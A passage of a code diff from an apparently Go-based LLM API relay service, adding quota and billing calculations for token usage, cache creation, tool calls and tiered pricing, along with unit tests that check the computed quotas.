+			if !summary.IsClaudeUsageSemantic && !legacyClaudeDerived {
+				baseTokens = baseTokens.Sub(dCacheTokens)
+			}
+			cachedTokensWithRatio = dCacheTokens.Mul(dCacheRatio)
+		}
+
+		var cachedCreationTokensWithRatio decimal.Decimal
+		hasSplitCacheCreationTokens := summary.CacheCreationTokens5m > 0 || summary.CacheCreationTokens1h > 0
+		if !dCachedCreationTokens.IsZero() || hasSplitCacheCreationTokens {
+			if !summary.IsClaudeUsageSemantic && !legacyClaudeDerived {
+				baseTokens = baseTokens.Sub(dCachedCreationTokens)
+				cachedCreationTokensWithRatio = dCachedCreationTokens.Mul(dCacheCreationRatio)
+			} else {
+				remaining := summary.CacheCreationTokens - summary.CacheCreationTokens5m - summary.CacheCreationTokens1h
+				if remaining < 0 {
+					remaining = 0
+				}
+				cachedCreationTokensWithRatio = decimal.NewFromInt(int64(remaining)).Mul(dCacheCreationRatio)
+				cachedCreationTokensWithRatio = cachedCreationTokensWithRatio.Add(decimal.NewFromInt(int64(summary.CacheCreationTokens5m)).Mul(dCacheCreationRatio5m))
+				cachedCreationTokensWithRatio = cachedCreationTokensWithRatio.Add(decimal.NewFromInt(int64(summary.CacheCreationTokens1h)).Mul(dCacheCreationRatio1h))
+			}
+		}
+
+		var imageTokensWithRatio decimal.Decimal
+		if !dImageTokens.IsZero() {
+			baseTokens = baseTokens.Sub(dImageTokens)
+			imageTokensWithRatio = dImageTokens.Mul(dImageRatio)
+		}
+
+		if !dAudioTokens.IsZero() {
+			summary.AudioInputPrice = operation_setting.GetGeminiInputAudioPricePerMillionTokens(summary.ModelName)
+			if summary.AudioInputPrice > 0 {
+				baseTokens = baseTokens.Sub(dAudioTokens)
+				audioInputQuota = decimal.NewFromFloat(summary.AudioInputPrice).
+					Div(decimal.NewFromInt(1000000)).Mul(dAudioTokens).Mul(dGroupRatio).Mul(dQuotaPerUnit)
+			}
+		}
+
+		promptQuota := baseTokens.Add(cachedTokensWithRatio).Add(imageTokensWithRatio).Add(cachedCreationTokensWithRatio)
+		completionQuota := dCompletionTokens.Mul(dCompletionRatio)
+		quotaCalculateDecimal := promptQuota.Add(completionQuota).Mul(ratio)
+		quotaCalculateDecimal = quotaCalculateDecimal.Add(summary.ToolCallSurchargeQuota)
+		quotaCalculateDecimal = quotaCalculateDecimal.Add(audioInputQuota)
+
+		if len(relayInfo.PriceData.OtherRatios) > 0 {
+			for _, otherRatio := range relayInfo.PriceData.OtherRatios {
+				quotaCalculateDecimal = quotaCalculateDecimal.Mul(decimal.NewFromFloat(otherRatio))
+			}
+		}
+
+		if !ratio.IsZero() && quotaCalculateDecimal.LessThanOrEqual(decimal.Zero) {
+			quotaCalculateDecimal = decimal.NewFromInt(1)
+		}
+		summary.Quota = int(quotaCalculateDecimal.Round(0).IntPart())
+	} else {
+		quotaCalculateDecimal := dModelPrice.Mul(dQuotaPerUnit).Mul(dGroupRatio)
+		quotaCalculateDecimal = quotaCalculateDecimal.Add(summary.ToolCallSurchargeQuota)
+		quotaCalculateDecimal = quotaCalculateDecimal.Add(audioInputQuota)
+		if len(relayInfo.PriceData.OtherRatios) > 0 {
+			for _, otherRatio := range relayInfo.PriceData.OtherRatios {
+				quotaCalculateDecimal = quotaCalculateDecimal.Mul(decimal.NewFromFloat(otherRatio))
+			}
+		}
+		summary.Quota = int(quotaCalculateDecimal.Round(0).IntPart())
+	}
+
+	if summary.TotalTokens == 0 {
+		summary.Quota = 0
+	} else if !ratio.IsZero() && summary.Quota == 0 {
+		summary.Quota = 1
+	}
+
+	return summary
+}
+
+func usageSemanticFromUsage(relayInfo *relaycommon.RelayInfo, usage *dto.Usage) string {
+	if usage != nil && usage.UsageSemantic != "" {
+		return usage.UsageSemantic
+	}
+	if relayInfo != nil && relayInfo.GetFinalRequestRelayFormat() == types.RelayFormatClaude {
+		return "anthropic"
+	}
+	return "openai"
+}
+
+func PostTextConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.Usage, extraContent []string) {
+	originUsage := usage
+	if usage == nil {
+		extraContent = append(extraContent, "上游无计费信息")
+	}
+	if originUsage != nil {
+		ObserveChannelAffinityUsageCacheByRelayFormat(ctx, usage, relayInfo.GetFinalRequestRelayFormat())
+	}
+
+	adminRejectReason := common.GetContextKeyString(ctx, constant.ContextKeyAdminRejectReason)
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	var tieredResult *billingexpr.TieredResult
+	tieredBillingApplied := false
+	if originUsage != nil {
+		var tieredUsedVars map[string]bool
+		if snap := relayInfo.TieredBillingSnapshot; snap != nil {
+			tieredUsedVars = billingexpr.UsedVars(snap.ExprString)
+		}
+		tieredOk, tieredQuota, tieredRes := TryTieredSettle(relayInfo, BuildTieredTokenParams(usage, summary.IsClaudeUsageSemantic, tieredUsedVars))
+		if tieredOk {
+			tieredBillingApplied = true
+			tieredResult = tieredRes
+			summary.Quota = composeTieredTextQuota(relayInfo, summary, tieredQuota, tieredRes)
+		}
+	}
+
+	if summary.WebSearchCallCount > 0 {
+		extraContent = append(extraContent, fmt.Sprintf("Web Search 调用 %d 次，调用花费 %s", summary.WebSearchCallCount, decimal.NewFromFloat(summary.WebSearchPrice).Mul(decimal.NewFromInt(int64(summary.WebSearchCallCount))).Div(decimal.NewFromInt(1000)).Mul(decimal.NewFromFloat(summary.GroupRatio)).Mul(decimal.NewFromFloat(common.QuotaPerUnit)).String()))
+	}
+	if summary.ClaudeWebSearchCallCount > 0 {
+		extraContent = append(extraContent, fmt.Sprintf("Claude Web Search 调用 %d 次，调用花费 %s", summary.ClaudeWebSearchCallCount, decimal.NewFromFloat(summary.ClaudeWebSearchPrice).Div(decimal.NewFromInt(1000)).Mul(decimal.NewFromFloat(summary.GroupRatio)).Mul(decimal.NewFromFloat(common.QuotaPerUnit)).Mul(decimal.NewFromInt(int64(summary.ClaudeWebSearchCallCount))).String()))
+	}
+	if summary.FileSearchCallCount > 0 {
+		extraContent = append(extraContent, fmt.Sprintf("File Search 调用 %d 次，调用花费 %s", summary.FileSearchCallCount, decimal.NewFromFloat(summary.FileSearchPrice).Mul(decimal.NewFromInt(int64(summary.FileSearchCallCount))).Div(decimal.NewFromInt(1000)).Mul(decimal.NewFromFloat(summary.GroupRatio)).Mul(decimal.NewFromFloat(common.QuotaPerUnit)).String()))
+	}
+	if summary.AudioInputPrice > 0 && summary.AudioTokens > 0 {
+		extraContent = append(extraContent, fmt.Sprintf("Audio Input 花费 %s", decimal.NewFromFloat(summary.AudioInputPrice).Div(decimal.NewFromInt(1000000)).Mul(decimal.NewFromInt(int64(summary.AudioTokens))).Mul(decimal.NewFromFloat(summary.GroupRatio)).Mul(decimal.NewFromFloat(common.QuotaPerUnit)).String()))
+	}
+	if summary.ImageGenerationCallPrice > 0 {
+		extraContent = append(extraContent, fmt.Sprintf("Image Generation Call 花费 %s", decimal.NewFromFloat(summary.ImageGenerationCallPrice).Mul(decimal.NewFromFloat(summary.GroupRatio)).Mul(decimal.NewFromFloat(common.QuotaPerUnit)).String()))
+	}
+
+	if summary.TotalTokens == 0 {
+		extraContent = append(extraContent, "上游没有返回计费信息，无法扣费（可能是上游超时）")
+		logger.LogError(ctx, fmt.Sprintf("total tokens is 0, cannot consume quota, userId %d, channelId %d, tokenId %d, model %s， pre-consumed quota %d", relayInfo.UserId, relayInfo.ChannelId, relayInfo.TokenId, summary.ModelName, relayInfo.FinalPreConsumedQuota))
+	} else {
+		model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, summary.Quota)
+		model.UpdateChannelUsedQuota(relayInfo.ChannelId, summary.Quota)
+	}
+
+	if err := SettleBilling(ctx, relayInfo, summary.Quota); err != nil {
+		logger.LogError(ctx, "error settling billing: "+err.Error())
+	}
+
+	logModel := summary.ModelName
+	if strings.HasPrefix(logModel, "gpt-4-gizmo") {
+		logModel = "gpt-4-gizmo-*"
+		extraContent = append(extraContent, fmt.Sprintf("模型 %s", summary.ModelName))
+	}
+	if strings.HasPrefix(logModel, "gpt-4o-gizmo") {
+		logModel = "gpt-4o-gizmo-*"
+		extraContent = append(extraContent, fmt.Sprintf("模型 %s", summary.ModelName))
+	}
+
+	logContent := strings.Join(extraContent, ", ")
+	var other map[string]interface{}
+	if summary.IsClaudeUsageSemantic {
+		other = GenerateClaudeOtherInfo(ctx, relayInfo,
+			summary.ModelRatio, summary.GroupRatio, summary.CompletionRatio,
+			summary.CacheTokens, summary.CacheRatio,
+			summary.CacheCreationTokens, summary.CacheCreationRatio,
+			summary.CacheCreationTokens5m, summary.CacheCreationRatio5m,
+			summary.CacheCreationTokens1h, summary.CacheCreationRatio1h,
+			summary.ModelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+		other["usage_semantic"] = "anthropic"
+	} else {
+		other = GenerateTextOtherInfo(ctx, relayInfo, summary.ModelRatio, summary.GroupRatio, summary.CompletionRatio, summary.CacheTokens, summary.CacheRatio, summary.ModelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+	}
+	if adminRejectReason != "" {
+		other["reject_reason"] = adminRejectReason
+	}
+	if summary.ImageTokens != 0 {
+		other["image"] = true
+		other["image_ratio"] = summary.ImageRatio
+		other["image_output"] = summary.ImageTokens
+	}
+	if summary.WebSearchCallCount > 0 {
+		other["web_search"] = true
+		other["web_search_call_count"] = summary.WebSearchCallCount
+		other["web_search_price"] = summary.WebSearchPrice
+	} else if summary.ClaudeWebSearchCallCount > 0 {
+		other["web_search"] = true
+		other["web_search_call_count"] = summary.ClaudeWebSearchCallCount
+		other["web_search_price"] = summary.ClaudeWebSearchPrice
+	}
+	if summary.FileSearchCallCount > 0 {
+		other["file_search"] = true
+		other["file_search_call_count"] = summary.FileSearchCallCount
+		other["file_search_price"] = summary.FileSearchPrice
+	}
+	if summary.AudioInputPrice > 0 && summary.AudioTokens > 0 {
+		other["audio_input_seperate_price"] = true
+		other["audio_input_token_count"] = summary.AudioTokens
+		other["audio_input_price"] = summary.AudioInputPrice
+	}
+	if summary.ImageGenerationCallPrice > 0 {
+		other["image_generation_call"] = true
+		other["image_generation_call_price"] = summary.ImageGenerationCallPrice
+	}
+	if summary.CacheCreationTokens > 0 {
+		other["cache_creation_tokens"] = summary.CacheCreationTokens
+		other["cache_creation_ratio"] = summary.CacheCreationRatio
+	}
+	if summary.CacheCreationTokens5m > 0 {
+		other["cache_creation_tokens_5m"] = summary.CacheCreationTokens5m
+		other["cache_creation_ratio_5m"] = summary.CacheCreationRatio5m
+	}
+	if summary.CacheCreationTokens1h > 0 {
+		other["cache_creation_tokens_1h"] = summary.CacheCreationTokens1h
+		other["cache_creation_ratio_1h"] = summary.CacheCreationRatio1h
+	}
+	cacheWriteTokens := cacheWriteTokensTotal(summary)
+	if cacheWriteTokens > 0 {
+		// cache_write_tokens: normalized cache creation total for UI display.
+		// If split 5m/1h values are present, this is their sum; otherwise it falls back
+		// to cache_creation_tokens.
+		other["cache_write_tokens"] = cacheWriteTokens
+	}
+	if relayInfo.GetFinalRequestRelayFormat() != types.RelayFormatClaude && usage != nil && usage.UsageSource != "" && usage.InputTokens > 0 {
+		// input_tokens_total: explicit normalized total input used by the usage log UI.
+		// Only write this field when upstream/current conversion has already provided a
+		// reliable total input value and tagged the usage source. Do not infer it from
+		// prompt/cache fields here, otherwise old upstream payloads may be double-counted.
+		other["input_tokens_total"] = usage.InputTokens
+	}
+	if tieredBillingApplied {
+		InjectTieredBillingInfo(other, relayInfo, tieredResult)
+	}
+
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:        relayInfo.ChannelId,
+		PromptTokens:     summary.PromptTokens,
+		CompletionTokens: summary.CompletionTokens,
+		ModelName:        logModel,
+		TokenName:        summary.TokenName,
+		Quota:            summary.Quota,
+		Content:          logContent,
+		TokenId:          relayInfo.TokenId,
+		UseTimeSeconds:   int(summary.UseTimeSeconds),
+		IsStream:         relayInfo.IsStream,
+		Group:            relayInfo.UsingGroup,
+		Other:            other,
+	})
+}
diff --git a/new-api/service/text_quota_test.go b/new-api/service/text_quota_test.go
new file mode 100644
index 0000000..37ce187
--- /dev/null
+++ b/new-api/service/text_quota_test.go
@@ -0,0 +1,441 @@
+package service
+
+import (
+	"net/http/httptest"
+	"testing"
+	"time"
+
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+	"github.com/stretchr/testify/require"
+)
+
+func TestCalculateTextQuotaSummaryUnifiedForClaudeSemantic(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 200,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens:         100,
+			CachedCreationTokens: 50,
+		},
+		ClaudeCacheCreation5mTokens: 10,
+		ClaudeCacheCreation1hTokens: 20,
+	}
+
+	priceData := types.PriceData{
+		ModelRatio:           1,
+		CompletionRatio:      2,
+		CacheRatio:           0.1,
+		CacheCreationRatio:   1.25,
+		CacheCreation5mRatio: 1.25,
+		CacheCreation1hRatio: 2,
+		GroupRatioInfo: types.GroupRatioInfo{
+			GroupRatio: 1,
+		},
+	}
+
+	chatRelayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatOpenAI,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData:               priceData,
+		StartTime:               time.Now(),
+	}
+	messageRelayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatClaude,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData:               priceData,
+		StartTime:               time.Now(),
+	}
+
+	chatSummary := calculateTextQuotaSummary(ctx, chatRelayInfo, usage)
+	messageSummary := calculateTextQuotaSummary(ctx, messageRelayInfo, usage)
+
+	require.Equal(t, messageSummary.Quota, chatSummary.Quota)
+	require.Equal(t, messageSummary.CacheCreationTokens5m, chatSummary.CacheCreationTokens5m)
+	require.Equal(t, messageSummary.CacheCreationTokens1h, chatSummary.CacheCreationTokens1h)
+	require.True(t, chatSummary.IsClaudeUsageSemantic)
+	require.Equal(t, 1488, chatSummary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryUsesSplitClaudeCacheCreationRatios(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:             types.RelayFormatOpenAI,
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      1,
+			CacheRatio:           0,
+			CacheCreationRatio:   1,
+			CacheCreation5mRatio: 2,
+			CacheCreation1hRatio: 3,
+			GroupRatioInfo: types.GroupRatioInfo{
+				GroupRatio: 1,
+			},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 0,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedCreationTokens: 10,
+		},
+		ClaudeCacheCreation5mTokens: 2,
+		ClaudeCacheCreation1hTokens: 3,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// 100 + remaining(5)*1 + 2*2 + 3*3 = 118
+	require.Equal(t, 118, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryUsesAnthropicUsageSemanticFromUpstreamUsage(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:     types.RelayFormatOpenAI,
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      2,
+			CacheRatio:           0.1,
+			CacheCreationRatio:   1.25,
+			CacheCreation5mRatio: 1.25,
+			CacheCreation1hRatio: 2,
+			GroupRatioInfo: types.GroupRatioInfo{
+				GroupRatio: 1,
+			},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 200,
+		UsageSemantic:    "anthropic",
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens:         100,
+			CachedCreationTokens: 50,
+		},
+		ClaudeCacheCreation5mTokens: 10,
+		ClaudeCacheCreation1hTokens: 20,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	require.True(t, summary.IsClaudeUsageSemantic)
+	require.Equal(t, "anthropic", summary.UsageSemantic)
+	require.Equal(t, 1488, summary.Quota)
+}
+
+func TestCacheWriteTokensTotal(t *testing.T) {
+	t.Run("split cache creation", func(t *testing.T) {
+		summary := textQuotaSummary{
+			CacheCreationTokens:   50,
+			CacheCreationTokens5m: 10,
+			CacheCreationTokens1h: 20,
+		}
+		require.Equal(t, 50, cacheWriteTokensTotal(summary))
+	})
+
+	t.Run("legacy cache creation", func(t *testing.T) {
+		summary := textQuotaSummary{CacheCreationTokens: 50}
+		require.Equal(t, 50, cacheWriteTokensTotal(summary))
+	})
+
+	t.Run("split cache creation without aggregate remainder", func(t *testing.T) {
+		summary := textQuotaSummary{
+			CacheCreationTokens5m: 10,
+			CacheCreationTokens1h: 20,
+		}
+		require.Equal(t, 30, cacheWriteTokensTotal(summary))
+	})
+}
+
+func TestCalculateTextQuotaSummaryHandlesLegacyClaudeDerivedOpenAIUsage(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		RelayFormat:     types.RelayFormatOpenAI,
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:           1,
+			CompletionRatio:      5,
+			CacheRatio:           0.1,
+			CacheCreationRatio:   1.25,
+			CacheCreation5mRatio: 1.25,
+			CacheCreation1hRatio: 2,
+			GroupRatioInfo:       types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     62,
+		CompletionTokens: 95,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 3544,
+		},
+		ClaudeCacheCreation5mTokens: 586,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// 62 + 3544*0.1 + 586*1.25 + 95*5 = 1624.9 => 1624
+	require.Equal(t, 1624, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummarySeparatesOpenRouterCacheReadFromPromptBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "openai/gpt-4.1",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheRatio:         0.1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 2432,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// OpenRouter OpenAI-format display keeps prompt_tokens as total input,
+	// but billing still separates normal input from cache read tokens.
+	// quota = (2604 - 2432) + 2432*0.1 + 383 = 798.2 => 798
+	require.Equal(t, 2604, summary.PromptTokens)
+	require.Equal(t, 798, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummarySeparatesOpenRouterCacheCreationFromPromptBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "openai/gpt-4.1",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedCreationTokens: 100,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// prompt_tokens is still logged as total input, but cache creation is billed separately.
+	// quota = (2604 - 100) + 100*1.25 + 383 = 3012
+	require.Equal(t, 2604, summary.PromptTokens)
+	require.Equal(t, 3012, summary.Quota)
+}
+
+func TestCalculateTextQuotaSummaryKeepsPrePRClaudeOpenRouterBilling(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+
+	relayInfo := &relaycommon.RelayInfo{
+		FinalRequestRelayFormat: types.RelayFormatClaude,
+		OriginModelName:         "anthropic/claude-3.7-sonnet",
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ChannelType: constant.ChannelTypeOpenRouter,
+		},
+		PriceData: types.PriceData{
+			ModelRatio:         1,
+			CompletionRatio:    1,
+			CacheRatio:         0.1,
+			CacheCreationRatio: 1.25,
+			GroupRatioInfo:     types.GroupRatioInfo{GroupRatio: 1},
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     2604,
+		CompletionTokens: 383,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 2432,
+		},
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// Pre-PR PostClaudeConsumeQuota behavior for OpenRouter:
+	// prompt = 2604 - 2432 = 172
+	// quota = 172 + 2432*0.1 + 383 = 798.2 => 798
+	require.True(t, summary.IsClaudeUsageSemantic)
+	require.Equal(t, 172, summary.PromptTokens)
+	require.Equal(t, 798, summary.Quota)
+}
+
+func TestComposeTieredTextQuotaKeepsToolCallSurcharges(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("image_generation_call", true)
+	ctx.Set("image_generation_call_quality", "low")
+	ctx.Set("image_generation_call_size", "1024x1024")
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "o1",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1},
+		},
+		ResponsesUsageInfo: &relaycommon.ResponsesUsageInfo{
+			BuiltInTools: map[string]*relaycommon.BuildInToolInfo{
+				dto.BuildInToolWebSearchPreview: &relaycommon.BuildInToolInfo{
+					CallCount: 1,
+				},
+				dto.BuildInToolFileSearch: &relaycommon.BuildInToolInfo{
+					CallCount: 2,
+				},
+			},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+	quota := composeTieredTextQuota(relayInfo, summary, 1000, &billingexpr.TieredResult{
+		ActualQuotaBeforeGroup: 1000,
+		ActualQuotaAfterGroup:  1000,
+	})
+
+	require.Equal(t, int64(13000), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 14000, quota)
+}
+
+func TestComposeTieredTextQuotaFallbackKeepsToolCallSurcharges(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("claude_web_search_requests", 2)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1.25},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1.25,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+	quota := composeTieredTextQuota(relayInfo, summary, 1250, nil)
+
+	require.Equal(t, int64(12500), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 13750, quota)
+}
+
+func TestComposeTieredTextQuotaErrorFallbackUsesPreConsumedQuota(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	w := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(w)
+	ctx.Set("claude_web_search_requests", 2)
+
+	relayInfo := &relaycommon.RelayInfo{
+		OriginModelName: "claude-3-7-sonnet",
+		PriceData: types.PriceData{
+			ModelRatio:      1,
+			CompletionRatio: 1,
+			GroupRatioInfo:  types.GroupRatioInfo{GroupRatio: 1.25},
+		},
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			GroupRatio:                1.25,
+			EstimatedQuotaBeforeGroup: 1000,
+		},
+		StartTime: time.Now(),
+	}
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 50,
+		TotalTokens:      150,
+	}
+
+	summary := calculateTextQuotaSummary(ctx, relayInfo, usage)
+
+	// tieredResult=nil simulates a settlement error where TryTieredSettle
+	// falls back to FinalPreConsumedQuota (2000), which differs from
+	// EstimatedQuotaBeforeGroup * GroupRatio (1250).
+	preConsumedFallback := 2000
+	quota := composeTieredTextQuota(relayInfo, summary, preConsumedFallback, nil)
+
+	require.Equal(t, int64(12500), summary.ToolCallSurchargeQuota.Round(0).IntPart())
+	require.Equal(t, 14500, quota)
+}
diff --git a/new-api/service/tiered_settle.go b/new-api/service/tiered_settle.go
new file mode 100644
index 0000000..a97ec08
--- /dev/null
+++ b/new-api/service/tiered_settle.go
@@ -0,0 +1,116 @@
+package service
+
+import (
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+)
+
+// TieredResultWrapper wraps billingexpr.TieredResult for use at the service layer.
+type TieredResultWrapper = billingexpr.TieredResult
+
+// BuildTieredTokenParams constructs billingexpr.TokenParams from a dto.Usage,
+// normalizing P and C so they mean "tokens not separately priced by the
+// expression". Sub-categories (cache, image, audio) are only subtracted
+// when the expression references them via their own variable.
+//
+// GPT-format APIs report prompt_tokens / completion_tokens as totals that
+// include all sub-categories (cache, image, audio). Claude-format APIs
+// report them as text-only. This function normalizes to text-only when
+// sub-categories are separately priced.
+func BuildTieredTokenParams(usage *dto.Usage, isClaudeUsageSemantic bool, usedVars map[string]bool) billingexpr.TokenParams {
+	p := float64(usage.PromptTokens)
+	c := float64(usage.CompletionTokens)
+	cr := float64(usage.PromptTokensDetails.CachedTokens)
+	cc5m := float64(usage.PromptTokensDetails.CachedCreationTokens)
+	cc1h := float64(0)
+
+	if usage.UsageSemantic == "anthropic" {
+		cc1h = float64(usage.ClaudeCacheCreation1hTokens)
+		cc5m = float64(usage.ClaudeCacheCreation5mTokens)
+	}
+
+	img := float64(usage.PromptTokensDetails.ImageTokens)
+	ai := float64(usage.PromptTokensDetails.AudioTokens)
+	imgO := float64(usage.CompletionTokenDetails.ImageTokens)
+	ao := float64(usage.CompletionTokenDetails.AudioTokens)
+
+	// len = total input context length for tier condition evaluation.
+	// Non-Claude: prompt_tokens already includes everything.
+	// Claude: input_tokens is text-only, so add cache read + cache creation.
+	inputLen := p
+	if isClaudeUsageSemantic {
+		inputLen = p + cr + cc5m + cc1h
+	}
+
+	if !isClaudeUsageSemantic {
+		if usedVars["cr"] {
+			p -= cr
+		}
+		if usedVars["cc"] {
+			p -= cc5m
+		}
+		if usedVars["cc1h"] {
+			p -= cc1h
+		}
+		if usedVars["img"] {
+			p -= img
+		}
+		if usedVars["ai"] {
+			p -= ai
+		}
+		if usedVars["img_o"] {
+			c -= imgO
+		}
+		if usedVars["ao"] {
+			c -= ao
+		}
+	}
+
+	if p < 0 {
+		p = 0
+	}
+	if c < 0 {
+		c = 0
+	}
+
+	return billingexpr.TokenParams{
+		P:    p,
+		C:    c,
+		Len:  inputLen,
+		CR:   cr,
+		CC:   cc5m,
+		CC1h: cc1h,
+		Img:  img,
+		ImgO: imgO,
+		AI:   ai,
+		AO:   ao,
+	}
+}
+
+// TryTieredSettle checks if the request uses tiered_expr billing and, if so,
+// computes the actual quota using the frozen BillingSnapshot. Returns:
+//   - ok=true, quota, result  when tiered billing applies
+//   - ok=false, 0, nil        when it doesn't (caller should fall through to existing logic)
+func TryTieredSettle(relayInfo *relaycommon.RelayInfo, params billingexpr.TokenParams) (ok bool, quota int, result *billingexpr.TieredResult) {
+	snap := relayInfo.TieredBillingSnapshot
